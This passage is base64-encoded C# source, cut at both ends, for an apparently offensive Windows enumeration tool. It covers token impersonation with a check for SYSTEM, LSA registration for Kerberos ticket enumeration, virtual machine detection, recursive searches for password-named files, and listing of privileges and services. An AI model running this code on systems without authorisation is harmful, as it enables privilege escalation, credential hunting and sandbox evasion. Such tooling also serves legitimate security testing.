5hdGlvbgogICAgICAgICAgICAgICAgSW50UHRyIGhEdXBUb2tlbiA9IEludFB0ci5aZXJvOwogICAgICAgICAgICAgICAgc3VjY2VzcyA9IER1cGxpY2F0ZVRva2VuKGhUb2tlbiwgMiwgcmVmIGhEdXBUb2tlbik7CiAgICAgICAgICAgICAgICBpZiAoIXN1Y2Nlc3MpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgLy9Db25zb2xlLldyaXRlTGluZSgiRHVwbGljYXRlVG9rZW4gZmFpbGVkISIpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBzdWNjZXNzID0gSW1wZXJzb25hdGVMb2dnZWRPblVzZXIoaER1cFRva2VuKTsKICAgICAgICAgICAgICAgIGlmICghc3VjY2VzcykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAvL0NvbnNvbGUuV3JpdGVMaW5lKCJJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlciBmYWlsZWQhIik7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIGNsZWFuIHVwIHRoZSBoYW5kbGVzIHdlIGNyZWF0ZWQKICAgICAgICAgICAgICAgIENsb3NlSGFuZGxlKGhUb2tlbik7CiAgICAgICAgICAgICAgICBDbG9zZUhhbmRsZShoRHVwVG9rZW4pOwoKICAgICAgICAgICAgICAgIHN0cmluZyBuYW1lID0gU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHkuR2V0Q3VycmVudCgpLk5hbWU7CiAgICAgICAgICAgICAgICBpZiAobmFtZSAhPSAiTlQgQVVUSE9SSVRZXFxTWVNURU0iKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBJbnRQdHIgTHNhUmVnaXN0ZXJMb2dvblByb2Nlc3NIZWxwZXIoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gaGVscGVyIHRoYXQgZXN0YWJsaXNoZXMgYSBjb25uZWN0aW9uIHRvIHRoZSBMU0Egc2VydmVyIGFuZCB2ZXJpZmllcyB0aGF0IHRoZSBjYWxsZXIgaXMgYSBsb2dvbiBhcHBsaWNhdGlvbgogICAgICAgICAgICAvLyAgdXNlZCBmb3IgS2VyYmVyb3MgdGlja2V0IGVudW1lcmF0aW9uCgogICAgICAgICAgICBzdHJpbmcgbG9nb25Qcm9jZXNzTmFtZSA9ICJVc2VyMzJMb2dvblByb2Nlc3NzIjsKICAgICAgICAgICAgTFNBX1NUUklOR19JTiBMU0FTdHJpbmc7CiAgICAgICAgICAgIEludFB0ciBsc2FIYW5kbGUgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgVUludDY0IHNlY3VyaXR5TW9kZSA9IDA7CgogICAgICAgICAgICBMU0FTdHJpbmcuTGVuZ3RoID0gKHVzaG9ydClsb2dvblByb2Nlc3NOYW1lLkxlbmd0aDsKICAgICAgICAgICAgTFNBU3RyaW5nLk1heGltdW1MZW5ndGggPSAodXNob3J0KShsb2dvblByb2Nlc3NOYW1lLkxlbmd0aCArIDEpOwogICAgICAgICAgICBMU0FTdHJpbmcuQnVmZmVyID0gbG9nb25Qcm9jZXNzTmFtZTsKCiAgICAgICAgICAgIGludCByZXQgPSBMc2FSZWdpc3RlckxvZ29uUHJvY2VzcyhMU0FTdHJpbmcsIG91dCBsc2FIYW5kbGUsIG91dCBzZWN1cml0eU1vZGUpOwoKICAgICAgICAgICAgcmV0dXJuIGxzYUhhbmRsZTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgYm9vbCBJc0xvY2FsQW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gICAgICAgICAgICAgIHVzaW5nICh2YXIgaXRlbXMgPSBzZWFyY2hlci5HZXQoKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICh2YXIgaXRlbSBpbiBpdGVtcykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIHN0cmluZyBtYW51ZmFjdHVyZXIgPSBpdGVtWyJNYW51ZmFjdHVyZXIiXS5Ub1N0cmluZygpLlRvTG93ZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChtYW51ZmFjdHVyZXIgPT0gIm1pY3Jvc29mdCBjb3Jwb3JhdGlvbiIgJiYgaXRlbVsiTW9kZWwiXS5Ub1N0cmluZygpLlRvVXBwZXJJbnZhcmlhbnQoKS5Db250YWlucygiVklSVFVBTCIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfHwgbWFudWZhY3R1cmVyLkNvbnRhaW5zKCJ2bXdhcmUiKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfHwgaXRlbVsiTW9kZWwiXS5Ub1N0cmluZygpID09ICJWaXJ0dWFsQm94IikKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBib29sIENoZWNrQWNjZXNzKHN0cmluZyBQYXRoLCBGaWxlU3lzdGVtUmlnaHRzIEFjY2Vzc1JpZ2h0KQogICAgICAgIHsKICAgICAgICAgICAgLy8gY2hlY2tzIGlmIHRoZSBjdXJyZW50IHVzZXIgaGFzIHRoZSBzcGVjaWZpZWQgQWNjZXNzUmlnaHQgdG8gdGhlIHNwZWNpZmllZCBmaWxlIG9yI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sbG93KQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIHsgfQoKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBib29sIENoZWNrTW9kaWZpYWJsZUFjY2VzcyhzdHJpbmcgUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGNoZWNrcyBpZiB0aGUgY3VycmVudCB1c2VyIGhhcyByaWdodHMgdG8gbW9kaWZ5IHRoZSBnaXZlbiBmaWxlL2RpcmVjdG9yeQogICAgICAgICAgICAvLyBhZGFwdGVkIGZyb20gaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMTQxMDEyNy9jLXNoYXJwLXRlc3QtaWYtdXNlci1oYXMtd3JpdGUtYWNjZXNzLXRvLWEtZm9sZGVyLzIxOTk2MzQ1IzIxOTk2MzQ1CgogICAgICAgICAgICBpZiAoc3RyaW5nLklzTnVsbE9yRW1wdHkoUGF0aCkpIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgLy8gVE9ETzogY2hlY2sgaWYgZmlsZSBleGlzdHMsIGNoZWNrIGZpbGUncyBwYXJlbnQgZm9sZGVyCgogICAgICAgICAgICBGaWxlU3lzdGVtUmlnaHRzW10gTW9kaWZ5UmlnaHRzID0KICAgICAgICAgICAgewogICAgICAgICAgICAgICAgRmlsZVN5c3RlbVJpZ2h0cy5DaGFuZ2VQZXJtaXNzaW9ucywKICAgICAgICAgICAgICAgIEZpbGVTeXN0ZW1SaWdodHMuRnVsbENvbnRyb2wsCiAgICAgICAgICAgICAgICBGaWxlU3lzdGVtUmlnaHRzLk1vZGlmeSwKICAgICAgICAgICAgICAgIEZpbGVTeXN0ZW1SaWdodHMuVGFrZU93bmVyc2hpcCwKICAgICAgICAgICAgICAgIEZpbGVTeXN0ZW1SaWdodHMuV3JpdGUsCiAgICAgICAgICAgICAgICBGaWxlU3lzdGVtUmlnaHRzLldyaXRlRGF0YSwKICAgICAgICAgICAgICAgIEZpbGVTeXN0ZW1SaWdodHMuQ3JlYXRlRGlyZWN0b3JpZXMsCiAgICAgICAgICAgICAgICBGaWxlU3lzdGVtUmlnaHRzLkNyZWF0ZUZpbGVzCiAgICAgICAgICAgIH07CgogICAgICAgICAgICBBcnJheUxpc3QgcGF0aHMgPSBuZXcgQXJyYXlMaXN0KCk7CiAgICAgICAgICAgIHBhdGhzLkFkZChQYXRoKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBGaWxlQXR0cmlidXRlcyBhdHRyID0gU3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhQYXRoKTsKICAgICAgICAgICAgICAgIGlmICgoYXR0ciAmIEZpbGVBdHRyaWJ1dGVzLkRpcmVjdG9yeSkgIT0gRmlsZUF0dHJpYnV0ZXMuRGlyZWN0b3J5KQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHN0cmluZyBwYXJlbnRGb2xkZXIgPSBTeXN0ZW0uSU8uUGF0aC5HZXREaXJlY3RvcnlOYW1lKFBhdGgpOwogICAgICAgICAgICAgICAgICAgIHBhdGhzLkFkZChwYXJlbnRGb2xkZXIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQoKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgY2FuZGlkYXRlUGF0aCBpbiBwYXRocykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBBdXRob3JpemF0aW9uUnVsZUNvbGxlY3Rpb24gcnVsZXMgPSBEaXJlY3RvcnkuR2V0QWNjZXNzQ29udHJvbChjYW5kaWRhdGVQYXRoKS5HZXRBY2Nlc3NSdWxlcyh0cnVlLCB0cnVlLCB0eXBlb2YoU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5TZWN1cml0eUlkZW50aWZpZXIpKTsKICAgICAgICAgICAgICAgICAgICBXaW5kb3dzSWRlbnRpdHkgaWRlbnRpdHkgPSBXaW5kb3dzSWRlbnRpdHkuR2V0Q3VycmVudCgpOwoKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChGaWxlU3lzdGVtQWNjZXNzUnVsZSBydWxlIGluIHJ1bGVzKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlkZW50aXR5Lkdyb3Vwcy5Db250YWlucyhydWxlLklkZW50aXR5UmVmZXJlbmNlKSkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoRmlsZVN5c3RlbVJpZ2h0cyBBY2Nlc3NSaWdodCBpbiBNb2RpZnlSaWdodHMpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChBY2Nlc3NSaWdodCAmIHJ1bGUuRmlsZVN5c3RlbVJpZ2h0cykgPT0gQWNjZXNzUmlnaHQpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocnVsZS5BY2Nlc3NDb250cm9sVHlwZSA9PSBBY2Nlc3NDb250cm9sVHlwZS5BbGxvdykKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaAogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgTGlzdDxzdHJpbmc+IEZpbmRGaWxlcyhzdHJpbmcgcGF0aCwgc3RyaW5nIHBhdHRlcm5zKQogICAgICAgIHsKICAgICAgICAgICAgLy8gZmluZHMgZmlsZXMgbWF0Y2hpbmcgb25lIG9yIG1vcmUgcGF0dGVybnMgdW5kZXIgYSBnaXZlbiBwYXRoLCByZWN1cnNpdmUKICAgICAgICAgICAgLy8gYWRhcHRlZCBmcm9tIGh0dHA6Ly9jc2hhcnBoZWxwZXIuY29tL2Jsb2cvMjAxNS8wNi9maW5kLWZpbGVzLXRoYXQtbWF0Y2gtbXVsdGlwbGUtcGF0dGVybnMtaW4tYy8KICAgICAgICAgICAgLy8gICAgICBwYXR0ZXJuOiAiKnBhc3MqOyoucG5nOyIKCiAgICAgICAgICAgIHZhciBmaWxlcyA9IG5ldyBMaXN0PHN0cmluZz4oKTsKCiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvLyBzZWFyY2ggZXZlcnkgcGF0dGVybiBpbiB0aGlzIGRpcmVjdG9yeSdzIGZpbGVzCiAgICAgICAgICAgICAgICBmb3JlYWNoIChzdHJpbmcgcGF0dGVybiBpbiBwYXR0ZXJucy5TcGxpdCgnOycpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIGZpbGVzLkFkZFJhbmdlKERpcmVjdG9yeS5HZXRGaWxlcyhwYXRoLCBwYXR0ZXJuLCBTZWFyY2hPcHRpb24uVG9wRGlyZWN0b3J5T25seSkpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIGdvIHJlY3Vyc2UgaW4gYWxsIHN1Yi1kaXJlY3RvcmllcwogICAgICAgICAgICAgICAgZm9yZWFjaCAodmFyIGRpcmVjdG9yeSBpbiBEaXJlY3RvcnkuR2V0RGlyZWN0b3JpZXMocGF0aCkpCiAgICAgICAgICAgICAgICAgICAgZmlsZXMuQWRkUmFuZ2UoRmluZEZpbGVzKGRpcmVjdG9yeSwgcGF0dGVybnMpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCAoVW5hdXRob3JpemVkQWNjZXNzRXhjZXB0aW9uKSB7IH0KICAgICAgICAgICAgY2F0Y2ggKFBhdGhUb29Mb25nRXhjZXB0aW9uKSB7IH0KCiAgICAgICAgICAgIHJldHVybiBmaWxlczsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgSUVudW1lcmFibGU8c3RyaW5nPiBTcGxpdChzdHJpbmcgdGV4dCwgaW50IHBhcnRMZW5ndGgpCiAgICAgICAgewogICAgICAgICAgICBpZiAodGV4dCA9PSBudWxsKSB7IENvbnNvbGUuV3JpdGVMaW5lKCJbRVJST1JdIFNwbGl0KCkgLSBzaW5nbGVMaW5lU3RyaW5nIik7IH0KICAgICAgICAgICAgaWYgKHBhcnRMZW5ndGggPCAxKSB7IENvbnNvbGUuV3JpdGVMaW5lKCJbRVJST1JdIFNwbGl0KCkgLSAnY29sdW1ucycgbXVzdCBiZSBncmVhdGVyIHRoYW4gMC4iKTsgfQoKICAgICAgICAgICAgdmFyIHBhcnRDb3VudCA9IE1hdGguQ2VpbGluZygoZG91YmxlKXRleHQuTGVuZ3RoIC8gcGFydExlbmd0aCk7CiAgICAgICAgICAgIGlmIChwYXJ0Q291bnQgPCAyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB5aWVsZCByZXR1cm4gdGV4dDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBwYXJ0Q291bnQ7IGkrKykKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgdmFyIGluZGV4ID0gaSAqIHBhcnRMZW5ndGg7CiAgICAgICAgICAgICAgICB2YXIgbGVuZ3RoTGVmdCA9IE1hdGguTWluKHBhcnRMZW5ndGgsIHRleHQuTGVuZ3RoIC0gaW5kZXgpOwogICAgICAgICAgICAgICAgdmFyIGxpbmUgPSB0ZXh0LlN1YnN0cmluZyhpbmRleCwgbGVuZ3RoTGVmdCk7CiAgICAgICAgICAgICAgICB5aWVsZCByZXR1cm4gbGluZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCgogICAgICAgIC8vIHN0YXJ0IG9mIGNoZWNrcwoKICAgICAgICAvLyBzeXN0ZW0tZm9jdXNlZCBjaGVja3MKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdEJhc2ljT1NJbmZvKCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIHJldHVybnMgYmFzaWMgT1MvaG9zdCBpbmZvcm1hdGlvbiwgaW5jbHVkaW5nOgogICAgICAgICAgICAvLyAgICAgIFdpbmRvd3MgdmVyc2lvbiBpbmZvcm1hdGlvbgogICAgICAgICAgICAvLyAgICAgIGludGVncml0eS9hZG1pbiBsZXZlbHMKICAgICAgICAgICAgLy8gICAgICBwcm9jZXNzb3IgY291bnQvYXJjaGl0ZWN0dXJlCiAgICAgICAgICAgIC8vICAgICAgYmFzaWMgdXNlciBhbmQgZG9tYWluIGluZm9ybWF0aW9uCiAgICAgICAgICAgIC8vICAgICAgd2hldGhlciB0aGUgc3lzdGVtIGlzIGEgVk0KICAgICAgICAgICAgLy8gICAgICBldGMuCgogICAgICAgICAgICBzdHJpbmcgUHJvZHVjdE5hbWUgPSBHZXRSZWdWYWx1ZSgiSEtMTSIsICJTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzIE5UXFxDdXJyZW50VmVyc2lvbiIsICJQcm9kdWN0TmFtZSIpOwogICAgICAgICAgICBzdHJpbmcgRWRpdGlvbklEID0gR2V0UmVnVmFsdWU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W5lKFN0cmluZy5Gb3JtYXQoIiAgezAsLTIzfSA6ICB7MX0iLCBrdnAuS2V5LCBrdnAuVmFsdWUpKTsKICAgICAgICAgICAgICAgIGlmIChrdnAuVmFsdWUgPT0gInNodXRkb3duIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFRva2VuR3JvdXBQcml2cygpCiAgICAgICAgewogICAgICAgICAgICAvLyBSZXR1cm5zIGFsbCBwcml2aWxlZ2VzIHRoYXQgdGhlIGN1cnJlbnQgcHJvY2Vzcy91c2VyIHBvc3Nlc3NlcwogICAgICAgICAgICAvLyBhZGFwdGVkIGZyb20gaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvNDM0OTc0My9zZXR0aW5nLXNpemUtb2YtdG9rZW4tcHJpdmlsZWdlcy1sdWlkLWFuZC1hdHRyaWJ1dGVzLWFycmF5LXJldHVybmVkLWJ5LWdldHRva2VuaQoKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBDdXJyZW50IFByaXZpbGVnZXMgPT09XHJcbiIpOwoKICAgICAgICAgICAgICAgIGludCBUb2tlbkluZkxlbmd0aCA9IDA7CiAgICAgICAgICAgICAgICBJbnRQdHIgVGhpc0hhbmRsZSA9IFdpbmRvd3NJZGVudGl0eS5HZXRDdXJyZW50KCkuVG9rZW47CiAgICAgICAgICAgICAgICBHZXRUb2tlbkluZm9ybWF0aW9uKFRoaXNIYW5kbGUsIFRPS0VOX0lORk9STUFUSU9OX0NMQVNTLlRva2VuUHJpdmlsZWdlcywgSW50UHRyLlplcm8sIFRva2VuSW5mTGVuZ3RoLCBvdXQgVG9rZW5JbmZMZW5ndGgpOwogICAgICAgICAgICAgICAgSW50UHRyIFRva2VuSW5mb3JtYXRpb24gPSBNYXJzaGFsLkFsbG9jSEdsb2JhbChUb2tlbkluZkxlbmd0aCk7CiAgICAgICAgICAgICAgICBpZiAoR2V0VG9rZW5JbmZvcm1hdGlvbihXaW5kb3dzSWRlbnRpdHkuR2V0Q3VycmVudCgpLlRva2VuLCBUT0tFTl9JTkZPUk1BVElPTl9DTEFTUy5Ub2tlblByaXZpbGVnZXMsIFRva2VuSW5mb3JtYXRpb24sIFRva2VuSW5mTGVuZ3RoLCBvdXQgVG9rZW5JbmZMZW5ndGgpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIFRPS0VOX1BSSVZJTEVHRVMgVGhpc1ByaXZpbGVnZVNldCA9IChUT0tFTl9QUklWSUxFR0VTKU1hcnNoYWwuUHRyVG9TdHJ1Y3R1cmUoVG9rZW5JbmZvcm1hdGlvbiwgdHlwZW9mKFRPS0VOX1BSSVZJTEVHRVMpKTsKICAgICAgICAgICAgICAgICAgICBmb3IgKGludCBpbmRleCA9IDA7IGluZGV4IDwgVGhpc1ByaXZpbGVnZVNldC5Qcml2aWxlZ2VDb3VudDsgaW5kZXgrKykKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIExVSURfQU5EX0FUVFJJQlVURVMgbGFhID0gVGhpc1ByaXZpbGVnZVNldC5Qcml2aWxlZ2VzW2luZGV4XTsKICAgICAgICAgICAgICAgICAgICAgICAgU3lzdGVtLlRleHQuU3RyaW5nQnVpbGRlciBTdHJCdWlsZGVyID0gbmV3IFN5c3RlbS5UZXh0LlN0cmluZ0J1aWxkZXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgaW50IEx1aWROYW1lTGVuID0gMDsKICAgICAgICAgICAgICAgICAgICAgICAgSW50UHRyIEx1aWRQb2ludGVyID0gTWFyc2hhbC5BbGxvY0hHbG9iYWwoTWFyc2hhbC5TaXplT2YobGFhLkx1aWQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5TdHJ1Y3R1cmVUb1B0cihsYWEuTHVpZCwgTHVpZFBvaW50ZXIsIHRydWUpOwogICAgICAgICAgICAgICAgICAgICAgICBMb29rdXBQcml2aWxlZ2VOYW1lKG51bGwsIEx1aWRQb2ludGVyLCBudWxsLCByZWYgTHVpZE5hbWVMZW4pOwogICAgICAgICAgICAgICAgICAgICAgICBTdHJCdWlsZGVyLkVuc3VyZUNhcGFjaXR5KEx1aWROYW1lTGVuICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChMb29rdXBQcml2aWxlZ2VOYW1lKG51bGwsIEx1aWRQb2ludGVyLCBTdHJCdWlsZGVyLCByZWYgTHVpZE5hbWVMZW4pKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZShTdHJpbmcuRm9ybWF0KCIgIHswLDQzfTogIHsxfSIsIFN0ckJ1aWxkZXIuVG9TdHJpbmcoKSwgKEx1aWRBdHRyaWJ1dGVzKWxhYS5BdHRyaWJ1dGVzKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChMdWlkUG9pbnRlcik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFVzZXJFbnZWYXJpYWJsZXMoKQogICAgICAgIHsKICAgICAgICAgICAgdHJ5CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vIGR1bXBzIG91dCBjdXJyZW50IHVzZXIgZW52aXJvbm1lbnQgdmFyaWFibGVzCiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gVXNlciBFbnZpcm9ubWVudCBWYXJpYWJsZXMgPT09XHJcbiIpOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoU3lzdGVtLkNvbGxlY3Rpb25zLkRpY3Rpb25hcnlFbnRyeSBlbnYgaW4gRW52aXJvbm1lbnQuR2V0RW52aXJvbm1lbnRWYXJpYWJsZXMoKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgbmFtZSA9IChzdHJpbmcpZW52LktleTsKICAgICAgICAgICAgICAgICAgICBzdHJpbmcgdmFsdWUgPSAoc3RyaW5nKWVudi5WYWx1ZTsKICAgICAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICB7MCwtMzV9IDogezF9IiwgbmFtZSwgdmFsdWUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgIFtYXSBFeGNlcHRpb246IHswfSIsIGV4Lk1lc3NhZ2UpOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgTGlzdFN5c3RlbUVudlZhcmlhYmxlcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBkdW1wcyBvdXQgY3VycmVudCBzeXN0ZW0gZW52aXJvbm1lbnQgdmFyaWFibGVzCiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJcclxuXHJcbj09PSBTeXN0ZW0gRW52aXJvbm1lbnQgVmFyaWFibGVzID09PVxyXG4iKTsKICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4gc2V0dGluZ3MgPSBHZXRSZWdWYWx1ZXMoIkhLTE0iLCAiU1lTVEVNXFxDdXJyZW50Q29udHJvbFNldFxcQ29udHJvbFxcU2Vzc2lvbiBNYW5hZ2VyXFxFbnZpcm9ubWVudCIpOwogICAgICAgICAgICBpZiAoKHNldHRpbmdzICE9IG51bGwpICYmIChzZXR0aW5ncy5Db3VudCAhPSAwKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZm9yZWFjaCAoS2V5VmFsdWVQYWlyPHN0cmluZywgb2JqZWN0PiBrdnAgaW4gc2V0dGluZ3MpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgezAsLTM1fSA6IHsxfSIsIGt2cC5LZXksIGt2cC5WYWx1ZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBMaXN0Tm9uc3RhbmRhcmRTZXJ2aWNlcygpCiAgICAgICAgewogICAgICAgICAgICAvLyBsaXN0cyBpbnN0YWxsZWQgc2VydmljcyB0aGF0IGRvbid0IGhhdmUgIk1pY3Jvc29mdCBDb3Jwb3JhdGlvbiIgYXMgdGhlIGNvbXBhbnkgbmFtZSBpbiB0aGVpciBmaWxlIGluZm8KICAgICAgICAgICAgLy8gICAgICBvciBhbGwgc2VydmljZXMgaWYgImZ1bGwiIGlzIHBhc3NlZAoKICAgICAgICAgICAgaWYgKEZpbHRlclJlc3VsdHMuZmlsdGVyKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiXHJcblxyXG49PT0gTm9uIE1pY3Jvc29mdCBTZXJ2aWNlcyAodmlhIFdNSSkgPT09XHJcbiIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuPT09IEFsbCBTZXJ2aWNlcyAodmlhIFdNSSkgPT09XHJcbiIpOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyIHdtaURhdGEgPSBuZXcgTWFuYWdlbWVudE9iamVjdFNlYXJjaGVyKEAicm9vdFxjaW12MiIsICJTRUxFQ1QgKiBGUk9NIHdpbjMyX3NlcnZpY2UiKTsKICAgICAgICAgICAgICAgIE1hbmFnZW1lbnRPYmplY3RDb2xsZWN0aW9uIGRhdGEgPSB3bWlEYXRhLkdldCgpOwoKICAgICAgICAgICAgICAgIGZvcmVhY2ggKE1hbmFnZW1lbnRPYmplY3QgcmVzdWx0IGluIGRhdGEpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgLy9PTEQgLSBpZiAoKHJlc3VsdFsiUGF0aE5hbWUiXSAhPSBudWxsKSAmJiAoKCFGaWx0ZXJSZXN1bHRzLmZpbHRlcikgfHwgKCFSZWdleC5Jc01hdGNoKHJlc3VsdFsiUGF0aE5hbWUiXS5Ub1N0cml